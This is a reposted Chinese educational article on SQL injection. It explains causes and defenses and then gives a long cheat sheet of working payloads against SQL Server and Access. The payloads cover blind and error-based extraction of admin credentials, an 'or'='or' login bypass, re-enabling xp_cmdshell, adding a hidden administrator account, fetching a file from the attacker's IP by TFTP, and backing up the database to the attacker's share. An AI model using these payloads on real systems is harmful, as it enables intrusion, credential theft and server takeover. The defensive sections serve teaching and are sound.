姓名：于川皓 學(xué)號(hào)：16140210089
轉(zhuǎn)載自：https://baike.baidu.com/item/sql%E6%B3%A8%E5%85%A5/150289?fr=aladdin
【嵌牛導(dǎo)讀】：學(xué)習(xí)sql注入能給我們帶來(lái)什么？有什么意義？這值得我們思考
【嵌牛鼻子】：黑客技術(shù) 互聯(lián)網(wǎng)
【嵌牛提問(wèn)】：sql的發(fā)展過(guò)程是什么樣子的？又有什么意義呢？
【嵌牛正文】：
原理
SQL注入攻擊指的是通過(guò)構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序，而這些輸入大都是SQL語(yǔ)法里的一些組合，通過(guò)執(zhí)行SQL語(yǔ)句進(jìn)而執(zhí)行攻擊者所要的操作，其主要原因是程序沒(méi)有細(xì)致地過(guò)濾用戶輸入的數(shù)據(jù)，致使非法數(shù)據(jù)侵入系統(tǒng)。
根據(jù)相關(guān)技術(shù)原理，SQL注入可以分為平臺(tái)層注入和代碼層注入。前者由不安全的數(shù)據(jù)庫(kù)配置或數(shù)據(jù)庫(kù)平臺(tái)的漏洞所致；后者主要是由于程序員對(duì)輸入未進(jìn)行細(xì)致地過(guò)濾，從而執(zhí)行了非法的數(shù)據(jù)查詢?；诖?，SQL注入的產(chǎn)生原因通常表現(xiàn)在以下幾方面：①不當(dāng)?shù)念愋吞幚?；②不安全?a target="_blank" rel="nofollow">數(shù)據(jù)庫(kù)配置；③不合理的查詢集處理；④不當(dāng)?shù)腻e(cuò)誤處理；⑤轉(zhuǎn)義字符處理不合適；⑥多個(gè)提交處理不當(dāng)。
攻擊
當(dāng)應(yīng)用程序使用輸入內(nèi)容來(lái)構(gòu)造動(dòng)態(tài)sql語(yǔ)句以訪問(wèn)數(shù)據(jù)庫(kù)時(shí)，會(huì)發(fā)生sql注入攻擊。如果代碼使用存儲(chǔ)過(guò)程，而這些存儲(chǔ)過(guò)程作為包含未篩選的用戶輸入的字符串來(lái)傳遞，也會(huì)發(fā)生sql注入。sql注入可能導(dǎo)致攻擊者使用應(yīng)用程序登陸在數(shù)據(jù)庫(kù)中執(zhí)行命令。相關(guān)的SQL注入可以通過(guò)測(cè)試工具pangolin進(jìn)行。如果應(yīng)用程序使用特權(quán)過(guò)高的帳戶連接到數(shù)據(jù)庫(kù)，這種問(wèn)題會(huì)變得很嚴(yán)重。在某些表單中，用戶輸入的內(nèi)容直接用來(lái)構(gòu)造動(dòng)態(tài)sql命令，或者作為存儲(chǔ)過(guò)程的輸入?yún)?shù)，這些表單特別容易受到sql注入的攻擊。而許多網(wǎng)站程序在編寫時(shí)，沒(méi)有對(duì)用戶輸入的合法性進(jìn)行判斷或者程序中本身的變量處理不當(dāng)，使應(yīng)用程序存在安全隱患。這樣，用戶就可以提交一段數(shù)據(jù)庫(kù)查詢的代碼，根據(jù)程序返回的結(jié)果，獲得一些敏感的信息或者控制整個(gè)服務(wù)器，于是sql注入就發(fā)生了。
防護(hù)
歸納一下，主要有以下幾點(diǎn)：
1.永遠(yuǎn)不要信任用戶的輸入。對(duì)用戶的輸入進(jìn)行校驗(yàn)，可以通過(guò)正則表達(dá)式，或限制長(zhǎng)度；對(duì)單引號(hào)和
雙"-"進(jìn)行轉(zhuǎn)換等。
2.永遠(yuǎn)不要使用動(dòng)態(tài)拼裝sql，可以使用參數(shù)化的sql或者直接使用存儲(chǔ)過(guò)程進(jìn)行數(shù)據(jù)查詢存取。
3.永遠(yuǎn)不要使用管理員權(quán)限的數(shù)據(jù)庫(kù)連接，為每個(gè)應(yīng)用使用單獨(dú)的權(quán)限有限的數(shù)據(jù)庫(kù)連接。
4.不要把機(jī)密信息直接存放，加密或者h(yuǎn)ash掉密碼和敏感的信息。
5.應(yīng)用的異常信息應(yīng)該給出盡可能少的提示，最好使用自定義的錯(cuò)誤信息對(duì)原始錯(cuò)誤信息進(jìn)行包裝
6.sql注入的檢測(cè)方法一般采取輔助軟件或網(wǎng)站平臺(tái)來(lái)檢測(cè)，軟件一般采用sql注入檢測(cè)工具jsky，網(wǎng)站平臺(tái)就有億思網(wǎng)站安全平臺(tái)檢測(cè)工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入，XSS攻擊等。
注入方法
方法1
先猜表名
And (Select count(*) from 表名)<>0
猜列名
And (Select count（列名） from 表名）<>0
或者也可以這樣
and exists (select * from 表名）
and exists (select 列名 from 表名）
返回正確的，那么寫的表名或列名就是正確
這里要注意的是，exists這個(gè)不能應(yīng)用于猜內(nèi)容上，例如and exists (select len(user) from admin)>3 這樣是不行的
很多人都是喜歡查詢里面的內(nèi)容，一旦iis沒(méi)有關(guān)閉錯(cuò)誤提示的，那么就可以利用報(bào)錯(cuò)方法輕松獲得庫(kù)里面的內(nèi)容
獲得數(shù)據(jù)庫(kù)連接用戶名：；and user>0
這個(gè)是小竹提出來(lái)的，我這里引用《SQL注入天書》里面的一段話來(lái)講解：
"重點(diǎn)在and user>0，我們知道，user是SQLServer的一個(gè)內(nèi)置變量，它的值是當(dāng)前連接的用戶名，類型為nvarchar。拿一個(gè) nvarchar的值跟int的數(shù)0比較，系統(tǒng)會(huì)先試圖將nvarchar的值轉(zhuǎn)成int型，當(dāng)然，轉(zhuǎn)的過(guò)程中肯定會(huì)出錯(cuò)，SQLServer的出錯(cuò)提示是：將nvarchar轉(zhuǎn)換int異常，XXXX不能轉(zhuǎn)換成int"
看到這里大家明白了吧，報(bào)錯(cuò)的原理就是利用SQLserver內(nèi)置的系統(tǒng)表進(jìn)行轉(zhuǎn)換查詢，轉(zhuǎn)換過(guò)程會(huì)出錯(cuò)，然后就會(huì)顯示出在網(wǎng)頁(yè)上，另外還有類似的and 1=(selet top 1 user from admin），這種語(yǔ)句也是可以爆出來(lái)的。；and db_name()>0 則是暴數(shù)據(jù)庫(kù)名。
一旦關(guān)閉了IIS報(bào)錯(cuò)，那么還可以用union（聯(lián)合查詢）來(lái)查內(nèi)容，主要語(yǔ)句就是
Order by 10
And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin
And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
上面的order by 10主要就是查字段數(shù)目，admin就是表名，可以自己猜，user,passwd是列名
反正就是返回正確即對(duì)，返回異常即錯(cuò)
另外還有十分常用的ASCII碼拆半法
先要知道指定列名，例如user里的內(nèi)容的長(zhǎng)度
and (select len(user) from admin)=2 就是查詢長(zhǎng)度為不為2位，返回錯(cuò)誤的增加或減少數(shù)字，一般這個(gè)數(shù)字不會(huì)太大，太大的就要放棄了，猜也多余
后面的邏輯符號(hào)可以根據(jù)不同要求更改的，
>；大于 <；小于 =就是等于咯，更新語(yǔ)句的話，=也可以表示傳遞符號(hào) <>；就是不等
知道了長(zhǎng)度后就可以開始猜解了
And (Select top 1 asc(mid(user,n,1)) from admin)>100
n就是猜解的表名的第幾位，最后的長(zhǎng)度數(shù)字就是剛才猜解出來(lái)的列名長(zhǎng)度了，And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user里內(nèi)容的第一位的ASCII字符是不是大于100
正確的話，那么表示USER第一個(gè)字符的ASCII碼大于100，那么就猜>120，返回錯(cuò)誤就是介于100－120之間，然后再一步一步的縮少，最終得到正確字符XXX，然后用ASCII轉(zhuǎn)換器吧這個(gè)轉(zhuǎn)換成普通字符就可以了
然后就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去
加在url后面，列名表名還是先猜解，返回正確的代表帳號(hào)的ASCII碼大于100，那么就再向前猜，直到報(bào)錯(cuò)，把猜出來(lái)的ASCII碼拿去ASCII轉(zhuǎn)換器轉(zhuǎn)換就可以了，中文是負(fù)數(shù)，加上asb取絕對(duì)值
And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320
得到之后就記得在數(shù)字前加-號(hào)，不然ASCII轉(zhuǎn)換器轉(zhuǎn)換不來(lái)的，中文在ASCII碼里是-23423這樣的，所以猜起來(lái)挺麻煩
這個(gè)猜解速度比較慢，但是效果最好，最具有廣泛性
方法2
后臺(tái)身份驗(yàn)證繞過(guò)漏洞
驗(yàn)證繞過(guò)漏洞就是'or'='or'后臺(tái)繞過(guò)漏洞，利用的就是AND和OR的運(yùn)算規(guī)則，從而造成后臺(tái)腳本邏輯性錯(cuò)誤
例如管理員的賬號(hào)密碼都是admin，那么再比如后臺(tái)的數(shù)據(jù)庫(kù)查詢語(yǔ)句是
user=request("user")
passwd=request("passwd")
sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&'''
那么我使用'or 'a'='a來(lái)做用戶名密碼的話，那么查詢就變成了
select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a'
這樣的話，根據(jù)運(yùn)算規(guī)則，這里一共有4個(gè)查詢語(yǔ)句，那么查詢結(jié)果就是 假or真and假or真，先算and 再算or，最終結(jié)果為真，這樣就可以進(jìn)到后臺(tái)了
這種漏洞存在必須要有2個(gè)條件，第一個(gè)：在后臺(tái)驗(yàn)證代碼上，賬號(hào)密碼的查詢是要同一條查詢語(yǔ)句，也就是類似
sql="select * from admin where username='"&username&'&"passwd='"&passwd&'
如果一旦賬號(hào)密碼是分開查詢的，先查帳號(hào)，再查密碼，這樣的話就沒(méi)有辦法了。
第二就是要看密碼加不加密，一旦被MD5加密或者其他加密方式加密的，那就要看第一種條件有沒(méi)有可以，沒(méi)有達(dá)到第一種條件的話，那就沒(méi)有戲了
方法3
防御方法
對(duì)于怎么防御SQL注入呢，這個(gè)網(wǎng)上很多，我這里講幾個(gè)
如果自己編寫防注代碼，一般是先定義一個(gè)函數(shù)，再在里面寫入要過(guò)濾的關(guān)鍵詞，如select ; “”；from；等，這些關(guān)鍵詞都是查詢語(yǔ)句最常用的詞語(yǔ)，一旦過(guò)濾了，那么用戶自己構(gòu)造提交的數(shù)據(jù)就不會(huì)完整地參與數(shù)據(jù)庫(kù)的操作。
當(dāng)然如果你的網(wǎng)站提交的數(shù)據(jù)全部都是數(shù)字的，可以使用小竹提供的方法
Function SafeRequest(ParaName,ParaType)
'--- 傳入?yún)?shù) ---
'ParaName：參數(shù)名稱-字符型
'ParaType：參數(shù)類型-數(shù)字型（1表示以上參數(shù)是數(shù)字，0表示以上參數(shù)為字符）
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "參數(shù)" & ParaName & "必須為數(shù)字型！"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
然后就用SafeRequest（）來(lái)過(guò)濾參數(shù) ，檢查參數(shù)是否為數(shù)字，不是數(shù)字的就不能通過(guò)。
小結(jié)
SQL注入的手法相當(dāng)靈活，在注入的時(shí)候會(huì)碰到很多意外的情況。能不能根據(jù)具體情況進(jìn)行分析，構(gòu)造巧妙的SQL語(yǔ)句，從而成功獲取想要的數(shù)據(jù)，是高手與“菜鳥”的根本區(qū)別。
SQL注入技術(shù)
強(qiáng)制產(chǎn)生錯(cuò)誤
對(duì)數(shù)據(jù)庫(kù)類型、版本等信息進(jìn)行識(shí)別是此類型攻擊的動(dòng)機(jī)所在。它的目的是收集數(shù)據(jù)庫(kù)的類型、結(jié)構(gòu)等信息為其他類型的攻擊做準(zhǔn)備，可謂是攻擊的一個(gè)預(yù)備步驟。利用應(yīng)用程序服務(wù)器返回的默認(rèn)錯(cuò)誤信息而取得漏洞信息。
采用非主流通道技術(shù)
除HTTP響應(yīng)外，能通過(guò)通道獲取數(shù)據(jù)，然而，通道大都依賴與數(shù)據(jù)庫(kù)支持的功能而存在，所以這項(xiàng)技術(shù)不完全適用于所有的數(shù)據(jù)庫(kù)平臺(tái)。SQL注入的非主流通道主要有E-mail、DNS以及數(shù)據(jù)庫(kù)連接，基本思想為：先對(duì)SQL查詢打包，然后借助非主流通道將信息反饋至攻擊者。
使用特殊的字符
不同的SQL數(shù)據(jù)庫(kù)有許多不同是特殊字符和變量，通過(guò)某些配置不安全或過(guò)濾不細(xì)致的應(yīng)用系統(tǒng)能夠取得某些有用的信息，從而對(duì)進(jìn)一步攻擊提供方向。
使用條件語(yǔ)句
此方式具體可分為基于內(nèi)容、基于時(shí)間、基于錯(cuò)誤三種形式。一般在經(jīng)過(guò)常規(guī)訪問(wèn)后加上條件語(yǔ)句，根據(jù)信息反饋來(lái)判定被攻擊的目標(biāo)。
利用存儲(chǔ)過(guò)程
通過(guò)某些標(biāo)準(zhǔn)存儲(chǔ)過(guò)程，數(shù)據(jù)庫(kù)廠商對(duì)數(shù)據(jù)庫(kù)的功能進(jìn)行擴(kuò)展的同時(shí)，系統(tǒng)也可與進(jìn)行交互。部分存儲(chǔ)過(guò)程可以讓用戶自行定義。通過(guò)其他類型的攻擊收集到數(shù)據(jù)庫(kù)的類型、結(jié)構(gòu)等信息后，便能夠建構(gòu)執(zhí)行存儲(chǔ)過(guò)程的命令。這種攻擊類型往往能達(dá)到遠(yuǎn)程命令執(zhí)行、特權(quán)擴(kuò)張、拒絕服務(wù)的目的。
避開輸入過(guò)濾技術(shù)
雖然對(duì)于通常的編碼都可利用某些過(guò)濾技術(shù)進(jìn)行SQL注入防范，但是鑒于此種情況下也有許多方法避開過(guò)濾，一般可達(dá)到此目的的技術(shù)手段包括SQL注釋和動(dòng)態(tài)查詢的使用，利用截?cái)?，URL編碼與空字節(jié)的使用，大小寫變種的使用以及嵌套剝離后的表達(dá)式等等。借助于此些手段，輸入構(gòu)思后的查詢可以避開輸入過(guò)濾，從而攻擊者能獲得想要的查詢結(jié)果。
推斷技術(shù)
能夠明確數(shù)據(jù)庫(kù)模式、提取數(shù)據(jù)以及識(shí)別可注入?yún)?shù)。此種方式的攻擊通過(guò)網(wǎng)站對(duì)用戶輸入的反饋信息，對(duì)可注入?yún)?shù)、數(shù)據(jù)庫(kù)模式推斷，這種攻擊構(gòu)造的查詢執(zhí)行后獲得的答案只有真、假兩種。基于推斷的注入方式主要分為時(shí)間測(cè)定注入與盲注入兩種。前者是在注入語(yǔ)句里加入語(yǔ)句諸如“waitfor 100”，按照此查詢結(jié)果出現(xiàn)的時(shí)間對(duì)注入能否成功和數(shù)據(jù)值范圍的推導(dǎo)進(jìn)行判定；后者主要是“and l=l”、“and l=2”兩種經(jīng)典注入方法。這些方式均是對(duì)一些間接關(guān)聯(lián)且能取得回應(yīng)的問(wèn)題進(jìn)行提問(wèn)，進(jìn)而通過(guò)響應(yīng)信息推斷出想要信息，然后進(jìn)行攻擊。
SQL注入防范
了解了SQL注入的方法，如何能防止SQL注入？如何進(jìn)一步防范SQL注入的泛濫？通過(guò)一些合理的操作和配置來(lái)降低SQL注入的危險(xiǎn)。
使用參數(shù)化的過(guò)濾性語(yǔ)句
要防御SQL注入，用戶的輸入就絕對(duì)不能直接被嵌入到SQL語(yǔ)句中。恰恰相反，用戶的輸入必須進(jìn)行過(guò)濾，或者使用參數(shù)化的語(yǔ)句。參數(shù)化的語(yǔ)句使用參數(shù)而不是將用戶輸入嵌入到語(yǔ)句中。在多數(shù)情況中，SQL語(yǔ)句就得以修正。然后，用戶輸入就被限于一個(gè)參數(shù)。
輸入驗(yàn)證
檢查用戶輸入的合法性，確信輸入的內(nèi)容只包含合法的數(shù)據(jù)。數(shù)據(jù)檢查應(yīng)當(dāng)在客戶端和服務(wù)器端都執(zhí)行之所以要執(zhí)行服務(wù)器端驗(yàn)證，是為了彌補(bǔ)客戶端驗(yàn)證機(jī)制脆弱的安全性。
在客戶端，攻擊者完全有可能獲得網(wǎng)頁(yè)的源代碼，修改驗(yàn)證合法性的腳本（或者直接刪除腳本），然后將非法內(nèi)容通過(guò)修改后的表單提交給服務(wù)器。因此，要保證驗(yàn)證操作確實(shí)已經(jīng)執(zhí)行，唯一的辦法就是在服務(wù)器端也執(zhí)行驗(yàn)證。你可以使用許多內(nèi)建的驗(yàn)證對(duì)象，例如Regular Expression Validator，它們能夠自動(dòng)生成驗(yàn)證用的客戶端腳本，當(dāng)然你也可以插入服務(wù)器端的方法調(diào)用。如果找不到現(xiàn)成的驗(yàn)證對(duì)象，你可以通過(guò)Custom Validator自己創(chuàng)建一個(gè)。
錯(cuò)誤消息處理
防范SQL注入，還要避免出現(xiàn)一些詳細(xì)的錯(cuò)誤消息，因?yàn)楹诳蛡兛梢岳眠@些消息。要使用一種標(biāo)準(zhǔn)的輸入確認(rèn)機(jī)制來(lái)驗(yàn)證所有的輸入數(shù)據(jù)的長(zhǎng)度、類型、語(yǔ)句、企業(yè)規(guī)則等。
加密處理
將用戶登錄名稱、密碼等數(shù)據(jù)加密保存。加密用戶輸入的數(shù)據(jù)，然后再將它與數(shù)據(jù)庫(kù)中保存的數(shù)據(jù)比較，這相當(dāng)于對(duì)用戶輸入的數(shù)據(jù)進(jìn)行了“消毒”處理，用戶輸入的數(shù)據(jù)不再對(duì)數(shù)據(jù)庫(kù)有任何特殊的意義，從而也就防止了攻擊者注入SQL命令。
存儲(chǔ)過(guò)程來(lái)執(zhí)行所有的查詢
SQL參數(shù)的傳遞方式將防止攻擊者利用單引號(hào)和連字符實(shí)施攻擊。此外，它還使得數(shù)據(jù)庫(kù)權(quán)限可以限制到只允許特定的存儲(chǔ)過(guò)程執(zhí)行，所有的用戶輸入必須遵從被調(diào)用的存儲(chǔ)過(guò)程的安全上下文，這樣就很難再發(fā)生注入式攻擊了。
使用專業(yè)的漏洞掃描工具
攻擊者們目前正在自動(dòng)搜索攻擊目標(biāo)并實(shí)施攻擊，其技術(shù)甚至可以輕易地被應(yīng)用于其它的Web架構(gòu)中的漏洞。企業(yè)應(yīng)當(dāng)投資于一些專業(yè)的漏洞掃描工具，如大名鼎鼎的Acunetix的Web漏洞掃描程序等。一個(gè)完善的漏洞掃描程序不同于網(wǎng)絡(luò)掃描程序，它專門查找網(wǎng)站上的SQL注入式漏洞。最新的漏洞掃描程序可以查找最新發(fā)現(xiàn)的漏洞。
確保數(shù)據(jù)庫(kù)安全
鎖定你的數(shù)據(jù)庫(kù)的安全，只給訪問(wèn)數(shù)據(jù)庫(kù)的web應(yīng)用功能所需的最低的權(quán)限，撤銷不必要的公共許可，使用強(qiáng)大的加密技術(shù)來(lái)保護(hù)敏感數(shù)據(jù)并維護(hù)審查跟蹤。如果web應(yīng)用不需要訪問(wèn)某些表，那么確認(rèn)它沒(méi)有訪問(wèn)這些表的權(quán)限。如果web應(yīng)用只需要只讀的權(quán)限，那么就禁止它對(duì)此表的 drop 、insert、update、delete 的權(quán)限，并確保數(shù)據(jù)庫(kù)打了最新補(bǔ)丁。
安全審評(píng)
在部署應(yīng)用系統(tǒng)前，始終要做安全審評(píng)。建立一個(gè)正式的安全過(guò)程，并且每次做更新時(shí)，要對(duì)所有的編碼做審評(píng)。開發(fā)隊(duì)伍在正式上線前會(huì)做很詳細(xì)的安全審評(píng)，然后在幾周或幾個(gè)月之后他們做一些很小的更新時(shí)，他們會(huì)跳過(guò)安全審評(píng)這關(guān)， “就是一個(gè)小小的更新，我們以后再做編碼審評(píng)好了”。請(qǐng)始終堅(jiān)持做安全審評(píng)。
語(yǔ)句特征
1.判斷有無(wú)注入點(diǎn)
; and 1=1 and 1=2
2.猜表一般的表的名稱無(wú)非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表
3.猜帳號(hào)數(shù)目 如果遇到0< 返回正確頁(yè)面， 1<返回錯(cuò)誤頁(yè)面，說(shuō)明帳號(hào)數(shù)目就是1個(gè)
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名稱 在len( ) 括號(hào)里面加上我們想到的字段名稱.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len（用戶字段名稱name)>0)
and 1=(select count(*) from admin where len（密碼字段名稱password)>0)
5.猜解各個(gè)字段的長(zhǎng)度 猜解長(zhǎng)度就是把>0變換 直到返回正確頁(yè)面為止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 錯(cuò)誤
and 1=(select count(*) from admin where len(name)>5) 正確 長(zhǎng)度是6
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(password)>11) 正確
and 1=(select count(*) from admin where len(password)>12) 錯(cuò)誤 長(zhǎng)度是12
and 1=(select count(*) from admin where len(password)=12) 正確
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號(hào)的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號(hào)的第二位
就這樣一次加一個(gè)字符這樣猜，猜到夠你剛才猜出來(lái)的多少位了就對(duì)了，帳號(hào)就算出來(lái)了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
這個(gè)查詢語(yǔ)句可以猜解中文的用戶和密碼.只要把后面的數(shù)字換成中文的ASSIC碼就OK.最后把結(jié)果再轉(zhuǎn)換成字符.
group by users. id having 1=1--
group by users. id,users.username,users.password,users.privs having 1=1--
; insert into users values( 666,attacker,foobar,0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id)-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id,login_name)-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
看服務(wù)器打的補(bǔ)丁=出錯(cuò)了打了SP4補(bǔ)丁
and 1=(select @@VERSION)--
看數(shù)據(jù)庫(kù)連接賬號(hào)的權(quán)限，返回正常，證明是服務(wù)器角色sysadmin權(quán)限。
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
判斷連接數(shù)據(jù)庫(kù)帳號(hào)。（采用SA賬號(hào)連接 返回正常=證明了連接賬號(hào)是SA）
and sa=(SELECT System_user)--
and user_name()=dbo--
and 0<>(select user_name()--
看xp_cmdshell是否刪除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
xp_cmdshell被刪除，恢復(fù)，支持絕對(duì)路徑的恢復(fù)
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
反向PING自己實(shí)驗(yàn)
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帳號(hào)
;DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe
/c net user jiaoniang$ 1866574 /add--
創(chuàng)建一個(gè)虛擬目錄E盤：
;declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs -w "默認(rèn)Web站點(diǎn)" -v "e","e：\"--
訪問(wèn)屬性：（配合寫入一個(gè)webshell）
declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆庫(kù) 特殊技巧：：%5c=\ 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到庫(kù)名（從1到5都是系統(tǒng)的id，6以上才可以判斷）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的數(shù)據(jù)庫(kù)名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個(gè)表 假設(shè)為 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來(lái)得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的數(shù)值假設(shè)為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個(gè)admin的一個(gè)字段，假設(shè)為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 來(lái)暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名
依次可以得到密碼。假設(shè)存在user_id username,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用）
得到WEB路徑
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread
@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\,@value_name=/,
values=@testOUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image類型的表cmd
存在xp_cmdshell的測(cè)試過(guò)程：
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帳號(hào)
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_servicecontrol start,schedule 啟動(dòng)服務(wù)
exec master..xp_servicecontrol start,server
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：\WINNT\system32
\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：\WINNT\system32\cmd.exe
/c net localgroup administrators jiaoniang$ /add
; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上傳文件
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目錄bak.dat
如果被限制則可以。
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
查詢構(gòu)造：
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 顯示有一個(gè)叫ffff的用戶哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的語(yǔ)句是得到數(shù)據(jù)庫(kù)中的第一個(gè)用戶表，并把表名放在ffff用戶的郵箱字段中。
通過(guò)查看ffff的用戶資料可得第一個(gè)用表叫ad
然后根據(jù)表名ad得到這個(gè)表的ID 得到第二個(gè)表的名字
insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char
(0x69)+char(0x73),0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123,admin--,password,0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //為access數(shù)據(jù)庫(kù)
枚舉出數(shù)據(jù)表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
這是將第一個(gè)表名更新到aaa的字段處。
讀出第一個(gè)表，第二個(gè)表可以這樣讀出來(lái)（在條件后加上 and name<>；剛才得到的表名）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
讀出第二個(gè)表，一個(gè)個(gè)的讀出，直到?jīng)]有為止。
讀字段是這樣：
;update aaa set aaa=(select top 1 col_name(object_id（表名），1));--
然后id=152 and exists(select * from aaa where aaa>5)出錯(cuò)，得到字段名
;update aaa set aaa=(select top 1 col_name(object_id（表名），2));--
然后id=152 and exists(select * from aaa where aaa>5)出錯(cuò)，得到字段名
[獲得數(shù)據(jù)表名][將字段值更新為表名，再想法讀出這個(gè)字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>；你得到的表名 查出一個(gè)加一個(gè)])
[ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2，…）
通過(guò)SQLSERVER注入漏洞建數(shù)據(jù)庫(kù)管理員帳號(hào)和系統(tǒng)管理員帳號(hào)[當(dāng)前帳號(hào)必須是SYSADMIN組]
[獲得數(shù)據(jù)表字段名][將字段值更新為字段名，再想法讀出這個(gè)字段的值就可得到字段名]
